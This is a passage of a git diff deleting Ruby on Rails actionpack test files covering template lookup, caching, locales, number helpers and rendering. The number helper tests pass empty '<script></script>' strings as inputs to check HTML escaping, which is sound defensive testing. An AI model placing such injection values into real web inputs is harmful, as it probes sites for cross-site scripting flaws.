-    assert_equal Mime::SET, @lookup_context.formats
-    assert_equal :en, @lookup_context.locale
-  end
-
-  test "allows me to freeze and retrieve frozen formats" do
-    @lookup_context.formats.freeze
-    assert @lookup_context.formats.frozen?
-  end
-
-  test "provides getters and setters for formats" do
-    @lookup_context.formats = [:html]
-    assert_equal [:html], @lookup_context.formats
-  end
-
-  test "handles */* formats" do
-    @lookup_context.formats = ["*/*"]
-    assert_equal Mime::SET, @lookup_context.formats
-  end
-
-  test "handles explicitly defined */* formats fallback to :js" do
-    @lookup_context.formats = [:js, Mime::ALL]
-    assert_equal [:js, *Mime::SET.symbols], @lookup_context.formats
-  end
-
-  test "adds :html fallback to :js formats" do
-    @lookup_context.formats = [:js]
-    assert_equal [:js, :html], @lookup_context.formats
-  end
-
-  test "provides getters and setters for locale" do
-    @lookup_context.locale = :pt
-    assert_equal :pt, @lookup_context.locale
-  end
-
-  test "changing lookup_context locale, changes I18n.locale" do
-    @lookup_context.locale = :pt
-    assert_equal :pt, I18n.locale
-  end
-
-  test "delegates changing the locale to the I18n configuration object if it contains a lookup_context object" do
-    begin
-      I18n.config = AbstractController::I18nProxy.new(I18n.config, @lookup_context)
-      @lookup_context.locale = :pt
-      assert_equal :pt, I18n.locale
-      assert_equal :pt, @lookup_context.locale
-    ensure
-      I18n.config = I18n.config.original_config
-    end
-
-    assert_equal :pt, I18n.locale
-  end
-
-  test "find templates using the given view paths and configured details" do
-    template = @lookup_context.find("hello_world", %w(test))
-    assert_equal "Hello world!", template.source
-
-    @lookup_context.locale = :da
-    template = @lookup_context.find("hello_world", %w(test))
-    assert_equal "Hey verden", template.source
-  end
-
-  test "found templates respects given formats if one cannot be found from template or handler" do
-    ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil)
-    @lookup_context.formats = [:text]
-    template = @lookup_context.find("hello", %w(test))
-    assert_equal [:text], template.formats
-  end
-
-  test "adds fallbacks to view paths when required" do
-    assert_equal 1, @lookup_context.view_paths.size
-
-    @lookup_context.with_fallbacks do
-      assert_equal 3, @lookup_context.view_paths.size
-      assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new(""))
-      assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new("/"))
-    end
-  end
-
-  test "add fallbacks just once in nested fallbacks calls" do
-    @lookup_context.with_fallbacks do
-      @lookup_context.with_fallbacks do
-        assert_equal 3, @lookup_context.view_paths.size
-      end
-    end
-  end
-
-  test "generates a new details key for each details hash" do
-    keys = []
-    keys << @lookup_context.details_key
-    assert_equal 1, keys.uniq.size
-
-    @lookup_context.locale = :da
-    keys << @lookup_context.details_key
-    assert_equal 2, keys.uniq.size
-
-    @lookup_context.locale = :en
-    keys << @lookup_context.details_key
-    assert_equal 2, keys.uniq.size
-
-    @lookup_context.formats = [:html]
-    keys << @lookup_context.details_key
-    assert_equal 3, keys.uniq.size
-
-    @lookup_context.formats = nil
-    keys << @lookup_context.details_key
-    assert_equal 3, keys.uniq.size
-  end
-
-  test "gives the key forward to the resolver, so it can be used as cache key" do
-    @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
-
-    # Now we are going to change the template, but it won't change the returned template
-    # since we will hit the cache.
-    @lookup_context.view_paths.first.hash["test/_foo.erb"] = "Bar"
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
-
-    # This time we will change the locale. The updated template should be picked since
-    # lookup_context generated a new key after we changed the locale.
-    @lookup_context.locale = :da
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Bar", template.source
-
-    # Now we will change back the locale and it will still pick the old template.
-    # This is expected because lookup_context will reuse the previous key for :en locale.
-    @lookup_context.locale = :en
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
-
-    # Finally, we can expire the cache. And the expected template will be used.
-    @lookup_context.view_paths.first.clear_cache
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Bar", template.source
-  end
-
-  test "can disable the cache on demand" do
-    @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
-    old_template = @lookup_context.find("foo", %w(test), true)
-
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal template, old_template
-
-    assert @lookup_context.cache
-    template = @lookup_context.disable_cache do
-      assert !@lookup_context.cache
-      @lookup_context.find("foo", %w(test), true)
-    end
-    assert @lookup_context.cache
-
-    assert_not_equal template, old_template
-  end
-
-  test "responds to #prefixes" do
-    assert_equal [], @lookup_context.prefixes
-    @lookup_context.prefixes = ["foo"]
-    assert_equal ["foo"], @lookup_context.prefixes
-  end
-end
-
-class LookupContextWithFalseCaching < ActiveSupport::TestCase
-  def setup
-    @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)])
-    ActionView::Resolver.stubs(:caching?).returns(false)
-    @lookup_context = ActionView::LookupContext.new(@resolver, {})
-  end
-
-  test "templates are always found in the resolver but timestamp is checked before being compiled" do
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
-
-    # Now we are going to change the template, but it won't change the returned template
-    # since the timestamp is the same.
-    @resolver.hash["test/_foo.erb"][0] = "Bar"
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
-
-    # Now update the timestamp.
-    @resolver.hash["test/_foo.erb"][1] = Time.now.utc
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Bar", template.source
-  end
-
-  test "if no template was found in the second lookup, with no cache, raise error" do
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
-
-    @resolver.hash.clear
-    assert_raise ActionView::MissingTemplate do
-      @lookup_context.find("foo", %w(test), true)
-    end
-  end
-
-  test "if no template was cached in the first lookup, retrieval should work in the second call" do
-    @resolver.hash.clear
-    assert_raise ActionView::MissingTemplate do
-      @lookup_context.find("foo", %w(test), true)
-    end
-
-    @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)]
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
-  end
-end
-
-class TestMissingTemplate < ActiveSupport::TestCase
-  def setup
-    @lookup_context = ActionView::LookupContext.new("/Path/to/views", {})
-  end
-
-  test "if no template was found we get a helpful error message including the inheritance chain" do
-    e = assert_raise ActionView::MissingTemplate do
-      @lookup_context.find("foo", %w(parent child))
-    end
-    assert_match %r{Missing template parent/foo, child/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
-  end
-
-  test "if no partial was found we get a helpful error message including the inheritance chain" do
-    e = assert_raise ActionView::MissingTemplate do
-      @lookup_context.find("foo", %w(parent child), true)
-    end
-    assert_match %r{Missing partial parent/foo, child/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
-  end
-
-  test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
-    e = assert_raise ActionView::MissingTemplate do
-      details = {:handlers=>[], :formats=>[], :locale=>[]}
-      @lookup_context.view_paths.find("foo", "parent", true, details)
-    end
-    assert_match %r{Missing partial parent/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
-  end
-
-end
diff --git a/actionpack/test/template/number_helper_test.rb b/actionpack/test/template/number_helper_test.rb
deleted file mode 100644
index be336ea..0000000
--- a/actionpack/test/template/number_helper_test.rb
+++ /dev/null
@@ -1,152 +0,0 @@
-require "abstract_unit"
-
-class NumberHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::NumberHelper
-
-  def test_number_to_phone
-    assert_equal nil, number_to_phone(nil)
-    assert_equal "555-1234", number_to_phone(5551234)
-    assert_equal "(800) 555-1212 x 123", number_to_phone(8005551212, area_code: true, extension: 123)
-    assert_equal "+18005551212", number_to_phone(8005551212, country_code: 1, delimiter: "")
-  end
-
-  def test_number_to_currency
-    assert_equal nil, number_to_currency(nil)
-    assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
-    assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
-    assert_equal "1,234,567,890.50 - Kč", number_to_currency("-1234567890.50", unit: raw("Kč"), format: "%n %u", negative_format: "%n - %u")
-    assert_equal "&pound;1,234,567,890.50", number_to_currency("1234567890.50", unit: "£")
-  end
-
-  def test_number_to_percentage
-    assert_equal nil, number_to_percentage(nil)
-    assert_equal "100.000%", number_to_percentage(100)
-    assert_equal "100%", number_to_percentage(100, precision: 0)
-    assert_equal "123.4%", number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true)
-    assert_equal "1.000,000%", number_to_percentage(1000, delimiter: ".", separator: ",")
-  end
-
-  def test_number_with_delimiter
-    assert_equal nil, number_with_delimiter(nil)
-    assert_equal "12,345,678", number_with_delimiter(12345678)
-    assert_equal "0", number_with_delimiter(0)
-  end
-
-  def test_number_with_precision
-    assert_equal nil, number_with_precision(nil)
-    assert_equal "-111.235", number_with_precision(-111.2346)
-    assert_equal "111.00", number_with_precision(111, precision: 2)
-    assert_equal "0.00100", number_with_precision(0.001, precision: 5)
-  end
-
-  def test_number_to_human_size
-    assert_equal nil, number_to_human_size(nil)
-    assert_equal "3 Bytes", number_to_human_size(3.14159265)
-    assert_equal "1.2 MB", number_to_human_size(1234567, precision: 2)
-  end
-
-  def test_number_to_human
-    assert_equal nil,   number_to_human(nil)
-    assert_equal "0",   number_to_human(0)
-    assert_equal "1.23 Thousand", number_to_human(1234)
-    assert_equal "489.0 Thousand", number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
-  end
-
-  def test_number_helpers_escape_delimiter_and_separator
-    assert_equal "111<script></script>111<script></script>1111", number_to_phone(1111111111, delimiter: "<script></script>")
-
-    assert_equal "$1<script></script>01", number_to_currency(1.01, separator: "<script></script>")
-    assert_equal "$1<script></script>000.00", number_to_currency(1000, delimiter: "<script></script>")
-
-    assert_equal "1<script></script>010%", number_to_percentage(1.01, separator: "<script></script>")
-    assert_equal "1<script></script>000.000%", number_to_percentage(1000, delimiter: "<script></script>")
-
-    assert_equal "1<script></script>01", number_with_delimiter(1.01, separator: "<script></script>")
-    assert_equal "1<script></script>000", number_with_delimiter(1000, delimiter: "<script></script>")
-
-    assert_equal "1<script></script>010", number_with_precision(1.01, separator: "<script></script>")
-    assert_equal "1<script></script>000.000", number_with_precision(1000, delimiter: "<script></script>")
-
-    assert_equal "9<script></script>86 KB", number_to_human_size(10100, separator: "<script></script>")
-
-    assert_equal "1<script></script>01", number_to_human(1.01, separator: "<script></script>")
-    assert_equal "100<script></script>000 Quadrillion", number_to_human(10**20, delimiter: "<script></script>")
-  end
-
-  def test_number_helpers_outputs_are_html_safe
-    assert number_to_human(1).html_safe?
-    assert !number_to_human("<script></script>").html_safe?
-    assert number_to_human("asdf".html_safe).html_safe?
-    assert number_to_human("1".html_safe).html_safe?
-
-    assert number_to_human_size(1).html_safe?
-    assert number_to_human_size(1000000).html_safe?
-    assert !number_to_human_size("<script></script>").html_safe?
-    assert number_to_human_size("asdf".html_safe).html_safe?
-    assert number_to_human_size("1".html_safe).html_safe?
-
-    assert number_with_precision(1, strip_insignificant_zeros: false).html_safe?
-    assert number_with_precision(1, strip_insignificant_zeros: true).html_safe?
-    assert !number_with_precision("<script></script>").html_safe?
-    assert number_with_precision("asdf".html_safe).html_safe?
-    assert number_with_precision("1".html_safe).html_safe?
-
-    assert number_to_currency(1).html_safe?
-    assert !number_to_currency("<script></script>").html_safe?
-    assert number_to_currency("asdf".html_safe).html_safe?
-    assert number_to_currency("1".html_safe).html_safe?
-
-    assert number_to_percentage(1).html_safe?
-    assert !number_to_percentage("<script></script>").html_safe?
-    assert number_to_percentage("asdf".html_safe).html_safe?
-    assert number_to_percentage("1".html_safe).html_safe?
-
-    assert number_to_phone(1).html_safe?
-    assert_equal "<script></script>", number_to_phone("<script></script>")
-    assert number_to_phone("<script></script>").html_safe?
-    assert number_to_phone("asdf".html_safe).html_safe?
-    assert number_to_phone("1".html_safe).html_safe?
-
-    assert number_with_delimiter(1).html_safe?
-    assert !number_with_delimiter("<script></script>").html_safe?
-    assert number_with_delimiter("asdf".html_safe).html_safe?
-    assert number_with_delimiter("1".html_safe).html_safe?
-  end
-
-  def test_number_helpers_should_raise_error_if_invalid_when_specified
-    exception = assert_raise InvalidNumberError do
-      number_to_human("x", raise: true)
-    end
-    assert_equal "x", exception.number
-
-    exception = assert_raise InvalidNumberError do
-      number_to_human_size("x", raise: true)
-    end
-    assert_equal "x", exception.number
-
-    exception = assert_raise InvalidNumberError do
-      number_with_precision("x", raise: true)
-    end
-    assert_equal "x", exception.number
-
-    exception = assert_raise InvalidNumberError do
-      number_to_currency("x", raise: true)
-    end
-    assert_equal "x", exception.number
-
-    exception = assert_raise InvalidNumberError do
-      number_to_percentage("x", raise: true)
-    end
-    assert_equal "x", exception.number
-
-    exception = assert_raise InvalidNumberError do
-      number_with_delimiter("x", raise: true)
-    end
-    assert_equal "x", exception.number
-
-    exception = assert_raise InvalidNumberError do
-      number_to_phone("x", raise: true)
-    end
-    assert_equal "x", exception.number
-  end
-end
diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb
deleted file mode 100644
index 34102aa..0000000
--- a/actionpack/test/template/render_test.rb
+++ /dev/null
@@ -1,542 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class TestController < ActionController::Base
-end
-
-module RenderTestCases
-  def setup_view(paths)
-    @assigns = { :secret => 'in the sauce' }
-    @view = ActionView::Base.new(paths, @assigns)
-    @controller_view = TestController.new.view_context
-
-    # Reload and register danish language for testing
-    I18n.reload!
-    I18n.backend.store_translations 'da', {}
-    I18n.backend.store_translations 'pt-BR', {}
-
-    # Ensure original are still the same since we are reindexing view paths
-    assert_equal ORIGINAL_LOCALES, I18n.available_locales.map {|l| l.to_s }.sort
-  end
-
-  def test_render_without_options
-    e = assert_raises(ArgumentError) { @view.render() }
-    assert_match "You invoked render but did not give any of :partial, :template, :inline, :file or :text option.", e.message
-  end
-
-  def test_render_file
-    assert_equal "Hello world!", @view.render(:file => "test/hello_world")
-  end
-
-  # Test if :formats, :locale etc. options are passed correctly to the resolvers.
-  def test_render_file_with_format
-    assert_match "<h1>No Comment</h1>", @view.render(:file => "comments/empty", :formats => [:html])
-    assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => [:xml])
-    assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => :xml)
-  end
-
-  def test_render_template_with_format
-    assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html])
-    assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml])
-  end
-
-  def test_rendered_format_without_format
-    @view.render(:inline => "test")
-    assert_equal :html, @view.lookup_context.rendered_format
-  end
-
-  def test_render_partial_implicitly_use_format_of_the_rendered_template
-    @view.lookup_context.formats = [:json]
-    assert_equal "Hello world", @view.render(:template => "test/one", :formats => [:html])
-  end
-
-  def test_render_partial_implicitly_use_format_of_the_rendered_partial
-    @view.lookup_context.formats = [:html]
-    assert_equal "Third level", @view.render(:template => "test/html_template")
-  end
-
-  def test_render_partial_use_last_prepended_format_for_partials_with_the_same_names
-    @view.lookup_context.formats = [:html]
-    assert_equal "\nHTML Template, but JSON partial", @view.render(:template => "test/change_priority")
-  end
-
-  def test_render_template_with_a_missing_partial_of_another_format
-    @view.lookup_context.formats = [:html]
-    assert_raise ActionView::Template::Error, "Missing partial /missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
-      @view.render(:template => "with_format", :formats => [:json])
-    end
-  end
-
-  def test_render_file_with_locale
-    assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de])
-    assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de)
-  end
-
-  def test_render_template_with_locale
-    assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de])
-  end
-
-  def test_render_file_with_handlers
-    assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder])
-    assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder)
-  end
-
-  def test_render_template_with_handlers
-    assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder])
-  end
-
-  def test_render_raw_template_with_handlers
-    assert_equal "<%= hello_world %>\n", @view.render(:template => "plain_text")
-  end
-
-  def test_render_raw_template_with_quotes
-    assert_equal %q;Here are some characters: !@#$%^&*()-="'}{`; + "\n", @view.render(:template => "plain_text_with_characters")
-  end
-
-  def test_render_ruby_template_with_handlers
-    assert_equal "Hello from Ruby code", @view.render(:template => "ruby_template")
-  end
-
-  def test_render_ruby_template_inline
-    assert_equal '4', @view.render(:inline => "(2**2).to_s", :type => :ruby)
-  end
-
-  def test_render_file_with_localization_on_context_level
-    old_locale, @view.locale = @view.locale, :da
-    assert_equal "Hey verden", @view.render(:file => "test/hello_world")
-  ensure
-    @view.locale = old_locale
-  end
-
-  def test_render_file_with_dashed_locale
-    old_locale, @view.locale = @view.locale, :"pt-BR"
-    assert_equal "Ola mundo", @view.render(:file => "test/hello_world")
-  ensure
-    @view.locale = old_locale
-  end
-
-  def test_render_file_at_top_level
-    assert_equal 'Elastica', @view.render(:file => '/shared')
-  end
-
-  def test_render_file_with_full_path
-    template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world')
-    assert_equal "Hello world!", @view.render(:file => template_path)
-  end
-
-  def test_render_file_with_instance_variables
-    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar")
-  end
-
-  def test_render_file_with_locals
-    locals = { :secret => 'in the sauce' }
-    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals", :locals => locals)
-  end
-
-  def test_render_file_not_using_full_path_with_dot_in_path
-    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/dot.directory/render_file_with_ivar")
-  end
-
-  def test_render_partial_from_default
-    assert_equal "only partial", @view.render("test/partial_only")
-  end
-
-  def test_render_partial
-    assert_equal "only partial", @view.render(:partial => "test/partial_only")
-  end
-
-  def test_render_partial_with_format
-    assert_equal 'partial html', @view.render(:partial => 'test/partial')
-  end
-
-  def test_render_partial_with_selected_format
-    assert_equal 'partial html', @view.render(:partial => 'test/partial', :formats => :html)
-    assert_equal 'partial js', @view.render(:partial => 'test/partial', :formats => [:js])
-  end
-
-  def test_render_partial_at_top_level
-    # file fixtures/_top_level_partial_only (not fixtures/test)
-    assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only')
-  end
-
-  def test_render_partial_with_format_at_top_level
-    # file fixtures/_top_level_partial.html (not fixtures/test, with format extension)
-    assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial')
-  end
-
-  def test_render_partial_with_locals
-    assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 })
-  end
-
-  def test_render_partial_with_locals_from_default
-    assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5)
-  end
-
-  def test_render_partial_with_invalid_name
-    e = assert_raises(ArgumentError) { @view.render(:partial => "test/200") }
-    assert_equal "The partial name (test/200) is not a valid Ruby identifier; " +
-      "make sure your partial name starts with a lowercase letter or underscore, " +
-      "and is followed by any combination of letters, numbers and underscores.", e.message
-  end
-
-  def test_render_partial_with_missing_filename
-    e = assert_raises(ArgumentError) { @view.render(:partial => "test/") }
-    assert_equal "The partial name (test/) is not a valid Ruby identifier; " +
-      "make sure your partial name starts with a lowercase letter or underscore, " +
-      "and is followed by any combination of letters, numbers and underscores.", e.message
-  end
-
-  def test_render_partial_with_incompatible_object
-    e = assert_raises(ArgumentError) { @view.render(:partial => nil) }
-    assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
-  end
-
-  def test_render_partial_with_hyphen
-    e = assert_raises(ArgumentError) { @view.render(:partial => "test/a-in") }
-    assert_equal "The partial name (test/a-in) is not a valid Ruby identifier; " +
-      "make sure your partial name starts with a lowercase letter or underscore, " +
-      "and is followed by any combination of letters, numbers and underscores.", e.message
-  end
-
-  def test_render_partial_with_errors
-    e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise") }
-    assert_match %r!method.*doesnt_exist!, e.message
-    assert_equal "", e.sub_template_message
-    assert_equal "1", e.line_number
-    assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
-    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
-  end
-
-  def test_render_error_indentation
-    e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise_indentation") }
-    error_lines = e.annoted_source_code.split("\n")
-    assert_match %r!error\shere!, e.message
-    assert_equal "11", e.line_number
-    assert_equal "     9: <p>Ninth paragraph</p>", error_lines.second
-    assert_equal "    10: <p>Tenth paragraph</p>", error_lines.third
-  end
-
-  def test_render_sub_template_with_errors
-    e = assert_raises(ActionView::Template::Error) { @view.render(:template => "test/sub_template_raise") }
-    assert_match %r!method.*doesnt_exist!, e.message
-    assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message
-    assert_equal "1", e.line_number
-    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
-  end
-
-  def test_render_file_with_errors
-    e = assert_raises(ActionView::Template::Error) { @view.render(:file => File.expand_path("test/_raise", FIXTURE_LOAD_PATH)) }
-    assert_match %r!method.*doesnt_exist!, e.message
-    assert_equal "", e.sub_template_message
-    assert_equal "1", e.line_number
-    assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
-    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
-  end
-
-  def test_render_object
-    assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david"))
-  end
-
-  def test_render_object_with_array
-    assert_equal "[1, 2, 3]", @view.render(:partial => "test/object_inspector", :object => [1, 2, 3])
-  end
-
-  def test_render_partial_collection
-    assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
-  end
-
-  def test_render_partial_collection_as_by_string
-    assert_equal "david david davidmary mary mary",
-      @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => 'customer')
-  end
-
-  def test_render_partial_collection_as_by_symbol
-    assert_equal "david david davidmary mary mary",
-      @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer)
-  end
-
-  def test_render_partial_collection_without_as
-    assert_equal "local_inspector,local_inspector_counter",
-      @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ])
-  end
-
-  def test_render_partial_with_empty_collection_should_return_nil
-    assert_nil @view.render(:partial => "test/customer", :collection => [])
-  end
-
-  def test_render_partial_with_nil_collection_should_return_nil
-    assert_nil @view.render(:partial => "test/customer", :collection => nil)
-  end
-
-  def test_render_partial_with_nil_values_in_collection
-    assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ])
-  end
-
-  def test_render_partial_with_layout_using_collection_and_template
-    assert_equal "<b>Hello: Amazon</b><b>Hello: Yahoo</b>", @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
-  end
-
-  def test_render_partial_with_layout_using_collection_and_template_makes_current_item_available_in_layout
-    assert_equal '<b class="amazon">Hello: Amazon</b><b class="yahoo">Hello: Yahoo</b>',
-      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
-  end
-
-  def test_render_partial_with_layout_using_collection_and_template_makes_current_item_counter_available_in_layout
-    assert_equal '<b data-counter="0">Hello: Amazon</b><b data-counter="1">Hello: Yahoo</b>',
-      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object_counter', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
-  end
-
-  def test_render_partial_with_layout_using_object_and_template_makes_object_available_in_layout
-    assert_equal '<b class="amazon">Hello: Amazon</b>',
-      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :object => Customer.new("Amazon"))
-  end
-
-  def test_render_partial_with_empty_array_should_return_nil
-    assert_nil @view.render(:partial => [])
-  end
-
-  def test_render_partial_using_string
-    assert_equal "Hello: Anonymous", @controller_view.render('customer')
-  end
-
-  def test_render_partial_with_locals_using_string
-    assert_equal "Hola: david", @controller_view.render('customer_greeting', :greeting => 'Hola', :customer_greeting => Customer.new("david"))
-  end
-
-  def test_render_partial_using_object
-    assert_equal "Hello: lifo",
-      @controller_view.render(Customer.new("lifo"), :greeting => "Hello")
-  end
-
-  def test_render_partial_using_collection
-    customers = [ Customer.new("Amazon"), Customer.new("Yahoo") ]
-    assert_equal "Hello: AmazonHello: Yahoo",
-      @controller_view.render(customers, :greeting => "Hello")
-  end
-
-  def test_render_partial_without_object_or_collection_does_not_generate_partial_name_local_variable
-    exception = assert_raises ActionView::Template::Error do
-      @controller_view.render("partial_name_local_variable")
-    end
-    assert_match "undefined local variable or method `partial_name_local_variable'", exception.message
-  end
-
-  # TODO: The reason for this test is unclear, improve documentation
-  def test_render_partial_and_fallback_to_layout
-    assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
-  end
-
-  # TODO: The reason for this test is unclear, improve documentation
-  def test_render_missing_xml_partial_and_raise_missing_template
-    @view.formats = [:xml]
-    assert_raises(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
-  ensure
-    @view.formats = nil
-  end
-
-  def test_render_layout_with_block_and_other_partial_inside
-    render = @view.render(:layout => "test/layout_with_partial_and_yield") { "Yield!" }
-    assert_equal "Before\npartial html\nYield!\nAfter\n", render
-  end
-
-  def test_render_inline
-    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!")
-  end
-
-  def test_render_inline_with_locals
-    assert_equal "Hello, Josh!", @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" })
-  end
-
-  def test_render_fallbacks_to_erb_for_unknown_types
-    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :bar)
-  end
-
-  CustomHandler = lambda do |template|
-    "@output_buffer = ''\n" +
-      "@output_buffer << 'source: #{template.source.inspect}'\n"
-  end
-
-  def test_render_inline_with_render_from_to_proc
-    ActionView::Template.register_template_handler :ruby_handler, :source.to_proc
-    assert_equal '3', @view.render(:inline => "(1 + 2).to_s", :type => :ruby_handler)
-  end
-
-  def test_render_inline_with_compilable_custom_type
-    ActionView::Template.register_template_handler :foo, CustomHandler
-    assert_equal 'source: "Hello, World!"', @view.render(:inline => "Hello, World!", :type => :foo)
-  end
-
-  def test_render_inline_with_locals_and_compilable_custom_type
-    ActionView::Template.register_template_handler :foo, CustomHandler
-    assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
-  end
-
-  def test_render_knows_about_types_registered_when_extensions_are_checked_earlier_in_initialization
-    ActionView::Template::Handlers.extensions
-    ActionView::Template.register_template_handler :foo, CustomHandler
-    assert ActionView::Template::Handlers.extensions.include?(:foo)
-  end
-
-  def test_render_ignores_templates_with_malformed_template_handlers
-    ActiveSupport::Deprecation.silence do
-      %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
-        assert_raises(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
-      end
-    end
-  end
-
-  def test_render_with_layout
-    assert_equal %(<title></title>\nHello world!\n),
-      @view.render(:file => "test/hello_world", :layout => "layouts/yield")
-  end
-
-  def test_render_with_layout_which_has_render_inline
-    assert_equal %(welcome\nHello world!\n),
-      @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
-  end
-
-  def test_render_with_layout_which_renders_another_partial
-    assert_equal %(partial html\nHello world!\n),
-      @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
-  end
-
-  def test_render_layout_with_block_and_yield
-    assert_equal %(Content from block!\n),
-      @view.render(:layout => "layouts/yield_only") { "Content from block!" }
-  end
-
-  def test_render_layout_with_block_and_yield_with_params
-    assert_equal %(Yield! Content from block!\n),
-      @view.render(:layout => "layouts/yield_with_params") { |param| "#{param} Content from block!" }
-  end
-
-  def test_render_layout_with_block_which_renders_another_partial_and_yields
-    assert_equal %(partial html\nContent from block!\n),
-      @view.render(:layout => "layouts/partial_and_yield") { "Content from block!" }
-  end
-
-  def test_render_partial_and_layout_without_block_with_locals
-    assert_equal %(Before (Foo!)\npartial html\nAfter),
-      @view.render(:partial => 'test/partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
-  end
-
-  def test_render_partial_and_layout_without_block_with_locals_and_rendering_another_partial
-    assert_equal %(Before (Foo!)\npartial html\npartial with partial\n\nAfter),
-      @view.render(:partial => 'test/partial_with_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
-  end
-
-  def test_render_layout_with_a_nested_render_layout_call
-    assert_equal %(Before (Foo!)\nBefore (Bar!)\npartial html\nAfter\npartial with layout\n\nAfter),
-      @view.render(:partial => 'test/partial_with_layout', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
-  end
-
-  def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_partial
-    assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n  partial html\n\nAfterpartial with layout\n\nAfter),
